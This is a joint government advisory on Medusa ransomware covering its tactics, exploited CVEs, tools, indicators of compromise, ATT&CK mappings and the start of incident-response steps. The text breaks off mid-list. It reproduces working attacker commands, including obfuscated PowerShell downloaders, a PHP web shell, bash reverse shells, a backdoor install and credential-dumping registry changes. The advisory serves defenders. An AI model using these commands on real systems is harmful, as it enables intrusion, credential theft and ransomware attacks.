

JOINT CYBERSECURITY ADVISORY

TLP:CLEAR

Co-Authored by:

Product ID: AA25-071A



#StopRansomware: Medusa Ransomware

Publication: March 12, 2025

Last Updated: August 18, 2026

Cybersecurity and Infrastructure Security Agency
Federal Bureau of Investigation
Department of Health and Human Services

To report suspicious or criminal activity related to information found in this joint Cybersecurity Advisory, contact the FBI's [Internet Crime Complaint Center \(IC3\)](#), your [local FBI field office](#), and/or CISA's 24/7 Operations Center at contact@cisa.dhs.gov or 1-844-Say-CISA (1-844-729-2472). When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.

This document is marked TLP:CLEAR. Disclosure is not limited. Sources may use TLP:CLEAR when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:CLEAR information may be distributed without restriction. For more information, see [Traffic Light Protocol \(TLP\) Definitions and Usage](#).

TLP:CLEAR

Advisory at a Glance

Title	#StopRansomware: Medusa Ransomware
Original Publication	March 12, 2025
Last Update	August 18, 2026
Executive Summary	The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), and U.S. Department of Health and Human Services (HHS) are releasing this updated joint advisory to disseminate known Medusa ransomware tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) identified through FBI investigations as recently as April 2026. Medusa is a ransomware-as-a-service (RaaS) variant first identified in June 2021. Both Medusa developers and affiliates use a double-extortion model where they encrypt victim data and threaten to publicly release exfiltrated data if a ransom is not paid.
Last Update Description	The update expands details on Medusa actors' operations, including more specifics about their affiliate model and payment ranges for initial access brokers, as well as a broader list of exploited vulnerabilities. It describes Medusa's opportunistic targeting and use of Interactsh URLs for exploit verification. It also lists additional tools for network enumeration, persistence, and stealth, including detailed PowerShell obfuscation techniques and command-and-control utilities. Additionally, HHS has been added as a co-sealer, providing their insights into Medusa's operations against the Healthcare and Public Health Sector.
Key Actions	▪ Mitigate known vulnerabilities by ensuring operating systems, software, and firmware are patched and up to date within a risk-informed span of time. ▪ Segment networks to restrict lateral movement from initial infected devices and other devices in the same organization. ▪ Filter network traffic by preventing unknown or untrusted origins from accessing remote services on internal systems.
Indicators of Compromise	For a downloadable copy of IOCs, see: ▪ AA25-071A STIX XML (March 12, 2025) ▪ AA25-071A STIX JSON (March 12, 2025) ▪ AA25-071A STIX XML, (Aug. 18, 2026) ▪ AA25-071A STIX JSON, (Aug. 18, 2026)
Intended Audience	Organizations: Government; Federal Civilian Executive Branch (FCEB); State, Local, Tribal, and Territorial (SLTT) Governments; Critical Infrastructure.

Sectors: [Healthcare and Public Health](#), [Defense Industrial Base](#), [Critical Manufacturing](#), [Government Services and Facilities](#), [Information Technology](#), and [Financial Services](#).

Roles: [Defensive cybersecurity analysts](#), [vulnerability analysts](#), [security systems managers](#), [systems administrators](#), [infrastructure support](#), [network operators](#), [threat analysts](#), [digital forensics specialists](#), and [incident responders](#).

Table of Contents

Advisory at a Glance.....	2
Introduction	5
Technical Details	5
Background	5
Initial Access.....	6
Persistence and Discovery.....	6
Stealth.....	7
Lateral Movement, Credential Access, and Execution.....	9
Exfiltration and Impact.....	10
Extortion.....	11
Indicators of Compromise.....	12
MITRE ATT&CK Tactics and Techniques.....	14
Incident Response.....	18
Mitigations.....	19
Validate Security Controls.....	21
Resources.....	21
Reporting	21
Disclaimer.....	22
Acknowledgements	22
Version History	22
Appendix: Medusa Commands	23
Notes	29

Introduction

Note: This joint Cybersecurity Advisory is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources.

Note: This advisory was originally published March 12, 2025, to share TTPs and IOCs of Medusa ransomware as of February 2025. The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), and U.S. Department of Health and Human Services (HHS), hereafter referred to as the “authoring agencies,” updated this advisory on Aug. 18, 2026, to include information from FBI investigations as of April 2026.

(Updated Aug. 18, 2026) Medusa is a ransomware-as-a-service (RaaS) variant first identified in June 2021. As of April 2026, Medusa developers and affiliates—referred to as “Medusa actors” in this advisory—have impacted over 500 victims from a variety of critical infrastructure sectors. Affected industries include medical, education, legal, insurance, technology, and manufacturing. Per FBI, the Medusa ransomware variant is unrelated to the MedusaLocker variant and the Medusa mobile malware variant.

The authoring agencies encourage organizations to implement the recommendations in the **Mitigations** section of this advisory to reduce the likelihood and impact of Medusa ransomware incidents.

For a downloadable copy of IOCs, see:

- [AA25-071A STIX XML](#) (March 12, 2025)
- [AA25-071A STIX JSON](#) (March 12, 2025)
- [AA25-071A STIX XML](#), (Aug. 18, 2026)
- [AA25-071A STIX JSON](#), (Aug. 18, 2026)

Technical Details

Note: This advisory uses the [MITRE ATT&CK® Matrix for Enterprise](#) framework, version 19. See the **MITRE ATT&CK Tactics and Techniques** section of this advisory for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques.

Background

(Updated Aug. 18, 2026) Since 2021, Medusa actors have used the Medusa variant to conduct ransomware attacks through at least April 2026. Medusa originally operated as a closed ransomware operation, meaning the same group of cyber threat actors controlled all development and associated ransomware campaigns. Since at least early 2023, Medusa progressed to using an affiliate model, selling RaaS to affiliates who are granted varying levels of trust based upon experience and profitability. For newer or less experienced affiliates, important operations such as ransom negotiation may be centrally controlled

by the developers. Medusa actors use a double-extortion model where they encrypt victim data and threaten to publicly release exfiltrated data if a ransom is not paid.

Initial Access

Medusa actors typically recruit initial access brokers (IABs) in cybercriminal forums and marketplaces to obtain initial access to potential victims. They offer payments between \$100 United States dollars (USD) and \$1 million USD to IABs, as well as the opportunity to work exclusively for Medusa. Most IABs, however, appear to be willing to work for multiple variants at the same time. Medusa actors are known to make use of common techniques, such as:

- **Phishing campaigns** as a primary method for stealing victim credentials [\[T1566\]](#).
- **Exploitation of unpatched software vulnerabilities** [\[T1190\]](#) through Common Vulnerabilities and Exposures (CVEs) such as:
 - ScreenConnect vulnerability [CVE-2024-1709](#) [\[CWE-288: Authentication Bypass Using an Alternate Path or Channel\]](#).
 - Fortinet EMS SQL injection vulnerability [CVE-2023-48788](#) [\[CWE 89: SQL Injection\]](#).
 - *(Updated, Aug. 18, 2026)* Fortra GoAnywhere vulnerability [CVE-2025-10035](#) [\[CWE-502: Deserialization of Untrusted Data\]](#).
 - *(Updated, Aug. 18, 2026)* BeyondTrust vulnerability [CVE-2026-1731](#) [\[CWE-78: OS Command Injection\]](#).

(Updated Aug. 18, 2026) Medusa actors operate opportunistically by targeting victims with unpatched software rather than focusing on specific organizations or sectors; however, the Healthcare and Public Health (HPH) Sector has been a frequent victim of Medusa operations. Medusa actors leverage vulnerability announcements, such as the February 2026 publication of BeyondTrust vulnerability [CVE-2026-1731](#), to identify CVEs to exploit. Medusa actors leverage newly announced exploits within 24 hours and have been observed to use exploits up to a week before public vulnerability disclosure.¹ However, there is no indication Medusa actors develop their own zero-day or N-day vulnerabilities, preferring instead to obtain advanced access to exploits from unknown sources or to quickly leverage newly announced exploits before potential victims can mitigate vulnerabilities through patching.

(Updated Aug. 18, 2026) Medusa actors make use of Interactsh dynamic URLs to verify successful exploitation. Specifically, actors send HTTP requests to one of the Interactsh domains—oast[.]site, oast[.]pro, or oast[.]fun—embedding subdomain data that identifies the compromised host. For example, Medusa actors made requests to `<victim-name>.<random-33-alphanumeric-characters>.oast.site`, an open source, out-of-band (OOB) external server. This Interactsh server records these requests for the actors to review.

Persistence and Discovery

Medusa actors use [living off the land \(LOTL\)](#) techniques and legitimate tools, such as Advanced IP Scanner and SoftPerfect Network Scanner for initial user, system, and network enumeration. Once a foothold in a victim network is established, commonly scanned ports include:

- **21** (FTP)

- 22 (SSH)
- 23 (Telnet)
- 80 (HTTP)
- 115 (SFTP)
- 443 (HTTPS)
- 1433 (SQL database)
- 3050 (Firebird database)
- 3128 (HTTP web proxy)
- 3306 (MySQL database)
- 3389 (RDP)

Medusa actors primarily use PowerShell [T1059.001] and the Windows Command Prompt (`cmd.exe`) [T1059.003] for network [T1046] and filesystem enumeration [T1083] and to utilize Ingress Tool Transfer capabilities [T1105]. Medusa actors use Windows Management Instrumentation (WMI) [T1047] for querying system information.

Stealth

Medusa actors exploit legitimate tools and use LOTL techniques to avoid detection. (See **Appendix: Medusa Commands** for associated shell commands observed during FBI investigations of Medusa victims.) Certutil (`certutil.exe`), an administrator utility used to manage public key infrastructure (PKI) and download files, is used to avoid detection when performing file ingress.

(Updated Aug. 18, 2026) Medusa actors also use Minidump (`comsvcs.dll`) to avoid detection when dumping Local Security Authority Subsystem Service (LSASS) credentials.

Medusa actors use several different PowerShell stealth techniques with increasing complexity; these are provided below. Additionally, Medusa actors attempt to cover their tracks by deleting the PowerShell command line history [T1070.003].

In this example, Medusa actors use a well-known stealth technique that executes a base64 encrypted command [T1027.013] using specific execution settings.

- `powershell -exec bypass -enc <base64 encrypted command string>`

In another example, the `DownloadFile` string is obfuscated by slicing it into pieces and referencing it via a variable [T1027].

- `powershell -nop -c $x = 'D' + 'Own' + 'LOa' + 'DfI' + 'le'; Invoke-Expression (New-Object Net.WebClient).$x.Invoke(http://<ip>/<RAS tool>.msi)`

In the final example, the payload is an obfuscated base64 string read into memory, decompressed from `gzip`, and used to create a `scriptblock`. The base64 payload is split using empty strings and concatenation and uses a format operator (`-f`) followed by three arguments to specify character replacements in the base64 payload.

- ```
powershell -nop -w hidden -noni -ep bypass &([scriptblock]::create((
New-Object System.IO.StreamReader(
New-Object System.IO.Compression.GzipStream(
New-Object System.IO.MemoryStream([System.Convert]::FromBase64String(
(('<base64 payload string>')-f'<character replacement 0>', '<character
replacement 1>', '<character replacement
2>')))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))
```

The obfuscated base64 PowerShell payload is identical to `powerfun.ps1`, a publicly available stager script that can create either a reverse or bind shell over Transport Layer Security (TLS) to load additional modules. In the bind shell, the script awaits a connection on local port 443 [\[T1071.001\]](#) and initiates a connection to a remote port 443 in the reverse shell.

In some instances, Medusa actors attempted to use vulnerable or signed drivers to kill or delete endpoint detection and response (EDR) tools [\[T1685\]](#).

*(Updated Aug. 18, 2026)* Medusa actors place tooling, such as Rclone, in pre-existing Windows Defender excluded folders for stealth. [\[T1564.012\]](#).

FBI has observed Medusa actors using the following tools to support command and control (C2) and stealth:

- **Ligolo-ng**
  - A reverse tunneling tool often used to create secure connections between a compromised host and threat actor's machine.
- **Cloudflared**
  - Formerly known as ArgoTunnel.
  - Used to securely expose applications, services, or servers to the internet via Cloudflare Tunnel without exposing them directly.

*(Updated Aug. 18, 2026)* FBI has also observed Medusa actors using:

- **Nezha**
  - An operations and maintenance server monitoring tool used to allow backdoor visibility to compromised hosts from the threat actor's machine.
  - Publicly available on GitHub.
  - Installed using PowerShell on victim's machine:

- `$env:NZ_SERVER="83.138.53.139:80";$env:NZ_TLS="false";$env:NZ_CLIENT_SECRET="..."; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Ssl3 -bor [Net.SecurityProtocolType]::Tls -bor [Net.SecurityProtocolType]::Tls11 -bor [Net.SecurityProtocolType]::Tls12;set-ExecutionPolicy RemoteSigned;Invoke-WebRequest https://raw.githubusercontent.com/nezahq/scripts/main/agent/install.ps1 -OutFile C:install.ps1;powershell.exe C:install.ps1`

- **MeshAgent**

- MeshAgent, the MeshCentral endpoint agent, connects remote devices to allow threat actors to remotely manage the machine.
- Publicly available on GitHub.

- **Apache/PHP Web Shell**

- `file_save.php` executes the contents of a POST request sent to `/file_save` on a victim web server. For contents of `file_save.php`, see below:
  - `<?php if($_REQUEST['key']=='UerT') system($_REQUEST['x']);?>`

- **Bash Reverse Shell**

- Use of native Linux commands to create a reverse Transmission Control Protocol (TCP) connection to threat actor infrastructure:
  - `bash -i >& /dev/tcp/<attacker IP>/4444 0>&1`
  - `bash -i >& /dev/tcp/<attacker IP>/443 0>&1`

- **GSocket**

- Also known as Global Socket or gs-netcat.
- Allows workstations on different private networks to connect and bypass firewalls.
- Allows file transfers and command execution.

## Lateral Movement, Credential Access, and Execution

*(Updated Aug. 18, 2026)* Medusa actors use a variety of legitimate remote monitoring and management (RMM) software [T1219]. To evade detection, they may tailor their choice based on remote access tools already present in the victim environment.<sup>2,3</sup> FBI identified Medusa actors using remote access software AnyDesk, Atera, ConnectWise, eHorus, N-able, BeyondTrust, SimpleHelp, and Splashtop. Medusa actors use these tools—in combination with Remote Desktop Protocol (RDP) [T1021.001] and PsExec [T1569.002]—to move laterally [TA0008] through the network and identify files for exfiltration [TA0010] and encryption [T1486]. When provided with valid username and password credentials, Medusa actors use PsExec to:

- Copy (`-c`) one script from various batch scripts on the current machine to the remote machine and execute it with system-level privileges (`-s`).
- Execute an already existing local file on a remote machine with system-level privileges.

- Execute remote shell commands using `cmd /c`.

One of the batch scripts executed by PsExec is `openrdp.bat`, which first creates a new firewall rule to allow inbound TCP traffic on port `3389`:

- `netsh advfirewall firewall add rule name="rdp" dir=in protocol=tcp localport=3389 action=allow`

Then, a rule to allow remote WMI connections is created:

- `netsh advfirewall firewall set rule group="windows management instrumentation (wmi)" new enable=yes`

Finally, the registry is modified to allow Remote Desktop connections:

- `reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f`

*(Updated Aug. 18, 2026)* Medusa actors use [Mimikatz](#), the Windows Task Manager, and `comsvcs.dll` for LSASS dumping [[T1003.001](#)] to harvest credentials [[TA0006](#)] and aid lateral movement. They disable Windows Defender using the local Group Policy Editor during the LSASS exfiltration and re-enable Defender when they are done with exfiltration.

*(Updated Aug. 18, 2026)* Additionally, they use Mimikatz's tool `mimilib.dll` to steal credentials directly from the LSA authentication mechanism, which allows them to record plaintext passwords to a log file saved in `C:\Windows\System32\kiwissp.log`. This is accomplished by adding the following data to the registry:

- `reg add hkml\system\currentcontrolset\control\lsa\ /v "Security Packages" /d "Kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0mimilib" /t REG_MULTI_SZ /f`

*(Updated Aug. 18, 2026)* Medusa actors have also been observed stealing credentials using Volume Shadow Copy. The actors use the `vssadmin` command to create a new shadow copy for the `C:` drive. The actors then copy `ntds.dit`, `system`, and security registry hives out of the shadow copy and delete the shadow copy to prevent discovery [[T1006](#)]. The actors can use the stolen files to create forged Kerberos tickets [[T1558](#)], effectively compromising the entire domain.

*(Updated Aug. 18, 2026)* The actors used CrackMapExec (aka NetExec, aka NXC) to enumerate hosts on the network. The information collected included IP address, hostname, operating system (OS) information, and other metadata.

*(Updated Aug. 18, 2026)* Medusa actors make changes to Active Directory Default Domain Policy settings to override Group Policy settings [[T1484.001](#)]. Specifically, Medusa actors set the Default Domain Policy to "Enabled, Enforced." This setting enforces the policy set by Medusa actors, overriding stricter Group Policies that would normally restrict threat actor activity.

## Exfiltration and Impact

*(Updated, Aug. 18, 2026)* Medusa actors install and use Bandizip to create archives of exfiltration files and Rclone to facilitate exfiltration of data to the Medusa C2 servers [[T1567.002](#)].

*(Updated, Aug. 18, 2026)* Medusa actors obfuscate `rclone.exe` and associated `rclone.conf` files by renaming the files (for example, to `lsp.exe` and `ngconf.txt`). Medusa actors exfiltrate small batches of files—for example, credential files or registry hives—using `rdpclip.exe`, RDP's built-in file transfer mechanism.

The actors use Sysinternals PsExec, PDQ Inventory/Deploy, or BigFix [T1072] to deploy the encryptor, `gaze.exe`, on files across the network—with the actors disabling Windows Defender and other antivirus services on specific targets.

*(Updated Aug. 18, 2026)* Medusa actors use a custom PDQ Deploy playbook to:

1. Run a PowerShell base64 encoded command to exclude the entire `C:` drive from Windows Defender.
2. Use robocopy to copy `gaze.exe` into `C:\Windows\System32\` via the `RunFileCopy.cmd` script.
3. Verify if `gaze.exe` exists, then run it via the `command.cmd` script.
4. Use `command.cmd` script to return a print statement indicating if `gaze.exe` was found.

*(Updated Aug. 18, 2026)* The actors do not use PDQ Deploy for Linux environments. Instead, they use Secure File Transfer Protocol (SFTP) to transfer the encryptor, `gaze.py`, to the targeted machines. They execute the encryptor using the command `nohup python gaze.py &`. Medusa actors also make use of an ESXi host profile [T1675] to change root passwords on Linux machines.

Encrypted files have a `.medusa` file extension. The process `gaze.exe` terminates all services [T1489] related to backups, security, databases, communication, file sharing, and websites, and then deletes shadow copies and encrypts files with AES-256 before dropping the ransom note. Next, the actors remotely turn off [T1529] virtual machines, encrypt them, and delete their previously installed tools [T1070].

## Extortion

Medusa RaaS uses a double-extortion model, where victims must pay [T1657] to decrypt files and prevent further release of their data. The ransom note demands victims make contact within 48 hours via either a Tor browser-based live chat, or via Tox, an end-to-end encrypted instant-messaging platform. If the victim does not respond to the ransom note, Medusa actors contact victims directly by phone or email. Medusa operates a `.onion` data leak site divulging victims alongside countdowns to the release of information.

*(Updated Aug. 18, 2026)* Medusa actors post ransom demands on the leak site with direct hyperlinks to Medusa-affiliated cryptocurrency wallets and claimed number of views. Victims that are still actively negotiating sometimes do not appear on the ransom site, and the Medusa actors use the threat of posting victims as negotiation leverage. Medusa actors offer a “lower rate” for quick payments, stating that discounts will expire after an arbitrary amount of time. Additionally, Medusa actors research victim financial details and base their demands on publicly posted revenue. After a victim pays the ransom, Medusa actors claim to remove the victim's information from the site. **Note:** There is no way to verify that Medusa actors remove victim data from the site.

Medusa concurrently advertises sale of the data to interested parties before the countdown timer ends. Victims can pay \$10,000 USD in cryptocurrency to add a day to the countdown timer.

(Updated Aug. 18, 2026) Medusa actors generally request payment in Bitcoin but may demand payment in other cryptocurrencies.

FBI investigations identified that after paying the ransom, one victim was contacted by a separate Medusa actor who claimed the negotiator had stolen the ransom amount already paid and requested half of the payment be made again to provide the “true decryptor”—potentially indicating a triple-extortion scheme, or operational dysfunction and a lack of cohesion among ransomware group.

## Indicators of Compromise

**Table 1** and **Table 2** are lists of the malicious IP addresses, the URLs, and the hashes of files obtained during FBI investigations.

**Disclaimer:** Some of these indicators may be legitimate. The authoring agencies recommend organizations investigate or vet the IOCs prior to taking action, such as blocking.

*Table 1. Indicators of Compromise (Updated Aug. 18, 2026)*

| IOC                                            | Type             | Description                                         |
|------------------------------------------------|------------------|-----------------------------------------------------|
| 143.244.47[.]89                                | IP Address       | IP used to access PHP Web Shell (Mullvad VPN)       |
| 167.88.166[.]173                               | IP Address       | Ligolo proxy IP                                     |
| https://3324.reques<br>tcatcher[.]com/hihi     | URL              | Additional URL associated with Ligolo commands      |
| 143.110.243[.]154<br>aka<br>erp.ranasons[.]com | IP Address & URL | Exfiltration IP/domain                              |
| 185.238.231[.]16                               | IP Address       | IP used to access BeyondTrust session (ExpressVPN)  |
| 23.234.89[.]195                                | IP Address       | IP used to access BeyondTrust session (Mullvad VPN) |
| 146.70.172[.]247                               | IP Address       | IP used to access BeyondTrust session (Mullvad VPN) |
| 155.2.215[.]71                                 | IP Address       | IP used to access BeyondTrust session               |
| 23.234.106[.]242                               | IP Address       | IP used to access BeyondTrust session (Mullvad VPN) |

| IOC                                    | Type       | Description                                             |
|----------------------------------------|------------|---------------------------------------------------------|
| 23.234.93[.]112                        | IP Address | IP used to access BeyondTrust session (Mullvad VPN)     |
| 37.19.21[.]180                         | IP Address | IP used to access BeyondTrust session (Mullvad VPN)     |
| 155.2.215[.]69                         | IP Address | IP used to access BeyondTrust session                   |
| 185.238.231[.]98                       | IP Address | IP used to access BeyondTrust session (ExpressVPN)      |
| 37.221.66[.]239                        | IP Address | Bash TCP reverse shell destination                      |
| 185.135.86[.]185                       | IP Address | IP associated with SimpleHelp session                   |
| 83.138.53[.]139                        | IP Address | IP associated with Nezha backdoor                       |
| 185.238.231[.]4                        | IP Address | IP used to access BeyondTrust session (ExpressVPN)      |
| 185.238.231[.]77                       | IP Address | IP used to access BeyondTrust session (ExpressVPN)      |
| 185.238.231[.]85                       | IP Address | IP used to access BeyondTrust session (ExpressVPN)      |
| 85.155.186[.]121                       | IP Address | IP associated with SimpleHelp session                   |
| http://45.61.150[.]94:8000/storm[.]exe | URL        | SimpleHelp agent was downloaded to victim using this IP |
| 94.156.67[.]145                        | IP Address | IP associated with backdoor                             |

Table 2. Malicious Files (Updated Aug. 18, 2026)

| File                         | Hash (MD5, SHA1, or SHA 256)                                         | Description                                    |
|------------------------------|----------------------------------------------------------------------|------------------------------------------------|
| !!!READ_ME_MEDUSA<br>!!!.txt | Redacted                                                             | Ransom note file                               |
| j.exe                        | 2C7F328FEEB94608AAAF99EC70CB0323                                     | MeshAgent remote management tool               |
| def.exe                      | D796259C44BE852327623FD2E40C47F2                                     | Rootkit                                        |
| nezha-agent.exe              | 4D0B6E3C9C33550A005E41663A1977CB                                     | Nezha monitoring agent                         |
| mimilib.dll                  | eb05429d25fc57b476428cdb0a134b2f                                     | Mimikatz password logger                       |
| command.cmd                  | 04b13b6cd5e5291b1cde78975a140feea<br>7fd3bc3777c53caa1ab33426c83bfcc | PDQ Deploy script to run gaze.exe              |
| RunFileCopy.cmd              | b29defbbc4ebaa243c1712ccc4943374f<br>1b6fb864c39ed9f70fceb17eee098db | PDQ Deploy script to copy gaze.exe to system32 |
| openrdp.bat                  | 44370f5c977e415981feb7dbb87a85c                                      | Allows incoming RDP and remote WMI connections |
| Ngconf.txt                   | 8f11d9067da087cb4185fa804caac2df                                     | RCIone configuration file                      |
| Main_new.exe                 | 2df705c9be0465f1c73a9f5d35147723deb<br>16b5e                         | SimpleHelp executable                          |

## MITRE ATT&CK Tactics and Techniques

See **Table 3** to **Table 12** for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK's [Best Practices for MITRE ATT&CK Mapping](#) and CISA's [Decider Tool](#).

Table 3. Initial Access

| Tactic/Technique Title            | ID                     | Use                                                                                           |
|-----------------------------------|------------------------|-----------------------------------------------------------------------------------------------|
| Exploit Public-Facing Application | <a href="#">T1190</a>  | Medusa actors exploit unpatched software or n-day vulnerabilities through CVEs.               |
| Initial Access                    | <a href="#">TA0001</a> | Medusa actors recruit IABs in cybercriminal forums and marketplaces to obtain initial access. |

| Tactic/Technique Title | ID                    | Use                                                                                          |
|------------------------|-----------------------|----------------------------------------------------------------------------------------------|
| Phishing               | <a href="#">T1566</a> | Medusa IABs use phishing campaigns as a primary method for delivering ransomware to victims. |

Table 4. Stealth

| Technique Title                                            | ID                        | Use                                                                                                                                                 |
|------------------------------------------------------------|---------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------|
| Indicator Removal:<br>Clear Command History                | <a href="#">T1070.003</a> | Medusa actors attempt to cover their tracks by deleting the PowerShell command line history.                                                        |
| Obfuscated Files or Information:<br>Encrypted/Encoded File | <a href="#">T1027.013</a> | Medusa actors use a well-known stealth technique that executes a base64 encrypted command.                                                          |
| Obfuscated Files or Information                            | <a href="#">T1027</a>     | Medusa actors obfuscate a string by slicing it into pieces and referencing it via a variable.                                                       |
| Indicator Removal                                          | <a href="#">T1070</a>     | Medusa actors delete their previous work and tools installed.                                                                                       |
| Disable or Modify Tools                                    | <a href="#">T1685</a>     | Medusa actors kill or delete EDR tools.                                                                                                             |
| Direct Volume Access                                       | <a href="#">T1006</a>     | Medusa actors use <code>vssadmin</code> to bypass Windows file access controls and file system monitoring tools to obtain copies of registry hives. |
| Hide Artifacts:<br>File/Path Exclusions                    | <a href="#">T1564.012</a> | <i>(Updated Aug. 18, 2026)</i> Medusa actors operate in pre-existing excluded folders within Windows Defender.                                      |

Table 5. Discovery

| Technique Title              | ID                    | Use                                                                                     |
|------------------------------|-----------------------|-----------------------------------------------------------------------------------------|
| Network Service Discovery    | <a href="#">T1046</a> | Medusa actors used LOTL techniques to perform network enumeration.                      |
| File and Directory Discovery | <a href="#">T1083</a> | Medusa actors use Windows Command Prompt for filesystem enumeration.                    |
| Network Share Discovery      | <a href="#">T1135</a> | Medusa actors query shared drives on the local system to gather sources of information. |

| Technique Title                            | ID                        | Use                                                                                                             |
|--------------------------------------------|---------------------------|-----------------------------------------------------------------------------------------------------------------|
| System Network Configuration Discovery     | <a href="#">T1016</a>     | Medusa actors use OS administrative utilities to gather network information.                                    |
| System Information Discovery               | <a href="#">T1082</a>     | Medusa actors use the command <code>systeminfo</code> to gather detailed system information.                    |
| System Owner/User Discovery                | <a href="#">T1033</a>     | Medusa actors use the command <code>query user</code> to gather information about the currently logged in user. |
| System Network Connections Discovery       | <a href="#">T1049</a>     | Medusa actors use the command <code>netstat -a</code> to gather a listing of network connections.               |
| Permission Groups Discovery: Domain Groups | <a href="#">T1069.002</a> | Medusa actors attempt to find domain-level group and permission settings.                                       |

**Table 6. Credential Access**

| Technique Title                     | ID                        | Use                                                                                                                                                |
|-------------------------------------|---------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------|
| OS Credential Dumping: LSASS Memory | <a href="#">T1003.001</a> | Medusa actors access credential material stored in process memory or LSASS using Mimikatz.                                                         |
| Steal or Forge Kerberos Tickets     | <a href="#">T1558</a>     | <i>(Updated Aug. 18, 2026)</i> Medusa actors steal credentials by copying Windows database files and using them to create forged Kerberos tickets. |

**Table 7. Lateral Movement and Execution**

| Technique Title                                          | ID                        | Use                                                                                                                                                     |
|----------------------------------------------------------|---------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------|
| Command and Scripting Interpreter: PowerShell            | <a href="#">T1059.001</a> | Medusa actors use PowerShell for ingress, network, and filesystem enumeration.                                                                          |
| Command and Scripting Interpreter: Windows Command Shell | <a href="#">T1059.003</a> | Medusa actors use Windows Command Prompt, which can be used to control almost any aspect of a system, for ingress, network, and filesystem enumeration. |

| Technique Title                          | ID                        | Use                                                                                                                                                       |
|------------------------------------------|---------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------|
| Software Deployment Tools                | <a href="#">T1072</a>     | Medusa actors use PDQ Deploy and BigFix to deploy the encryptor on files across the network.                                                              |
| Remote Services: Remote Desktop Protocol | <a href="#">T1021.001</a> | Medusa actors use RDP, a common feature of OSs, to log into an interactive session with a system and move laterally.                                      |
| System Services: Service Execution       | <a href="#">T1569.002</a> | Medusa actors use Sysinternals PsExec to deploy the encryptor on files across the network.                                                                |
| Windows Management Instrumentation       | <a href="#">T1047</a>     | Medusa actors abuse WMI to query system information.                                                                                                      |
| ESXi Administration Command              | <a href="#">T1675</a>     | <i>(Updated Aug. 18, 2026)</i> Medusa actors abuse ESXi administration services to force root passwords to Medusa-controlled passwords on Linux machines. |

Table 8. Exfiltration and Encryption

| Technique Title                                              | ID                        | Use                                                                                   |
|--------------------------------------------------------------|---------------------------|---------------------------------------------------------------------------------------|
| Exfiltration Over Web Service: Exfiltration to Cloud Storage | <a href="#">T1567.002</a> | Medusa actors use Rclone to facilitate exfiltration of data to the Medusa C2 servers. |

Table 9. Command and Control

| Technique Title                           | ID                        | Use                                                                                                                                                                                         |
|-------------------------------------------|---------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| Ingress Tool Transfer                     | <a href="#">T1105</a>     | Medusa actors use PowerShell, Windows Command Prompt, and certutil for file ingress.                                                                                                        |
| Application Layer Protocol: Web Protocols | <a href="#">T1071.001</a> | Medusa actors communicate using application layer protocols associated with web traffic. In this case, Medusa actors used scripts that created reverse or bind shells over port 443: HTTPS. |
| Remote Access Tools                       | <a href="#">T1219</a>     | Medusa actors used remote access software to move laterally through the network.                                                                                                            |

Table 10. Persistence

| Technique Title | ID                        | Use                                                                          |
|-----------------|---------------------------|------------------------------------------------------------------------------|
| Create Account  | <a href="#">T1136.002</a> | Medusa actors created a domain account to maintain access to victim systems. |

Table 11. Privilege Escalation (Updated Aug. 18, 2026)

| Technique Title                                                    | ID                        | Use                                                                                                              |
|--------------------------------------------------------------------|---------------------------|------------------------------------------------------------------------------------------------------------------|
| Domain or Tenant Policy Modification:<br>Group Policy Modification | <a href="#">T1484.001</a> | Medusa actors made changes to Active Directory Default Domain Policy settings to override Group Policy settings. |

Table 12. Impact

| Technique Title           | ID                    | Use                                                                                                                                                       |
|---------------------------|-----------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------|
| Data Encrypted for Impact | <a href="#">T1486</a> | Medusa identified and encrypted data on target systems to interrupt availability to system and network resources.                                         |
| Inhibit System Recovery   | <a href="#">T1490</a> | The process <code>gaze.exe</code> terminates all services and then deletes shadow copies and encrypts files with AES-256 before dropping the ransom note. |
| Financial Theft           | <a href="#">T1657</a> | Victims must pay to decrypt files and prevent further release by Medusa actors.                                                                           |
| System Shutdown/Reboot    | <a href="#">T1529</a> | Medusa actors remotely turned off and encrypted virtual machines.                                                                                         |
| Service Stop              | <a href="#">T1489</a> | The process <code>gaze.exe</code> terminates all services related to backups, security, databases, communication, file sharing, and websites.             |

## Incident Response

If a potential compromise is detected, but ransomware actors have not yet encrypted items, organizations should take the following actions:

1. **Determine which hosts were compromised and isolate them** by quarantining or taking them offline.
2. **(Updated Aug. 18, 2026) Initiate threat hunting activities to scope the intrusion.** Collect and review relevant artifacts, logs, and other data to identify threat actor TTPs, compromised devices and accounts, a timeline of activity, etc. Responders should consider:

- a. Logs left behind by threat actor tooling, such as SimpleHelp and RDP logs.
- b. Netflow showing unusually large traffic volume coming from normally low-traffic hosts.
- 3. **Report the compromise** to CISA and/or the FBI (see **Reporting** for contact information).
- 4. *(Updated Aug. 18, 2026)* **Apply eviction countermeasures**, including those listed below, to contain the incident and eradicate the threat actor from the network.  
**Note:** Start applying countermeasures after collecting enough threat hunting data to inform effective countermeasure selection; this will likely overlap with threat hunting activities.
  - a. Remove local administrator accounts and rotate credentials for service accounts and domain administrator accounts
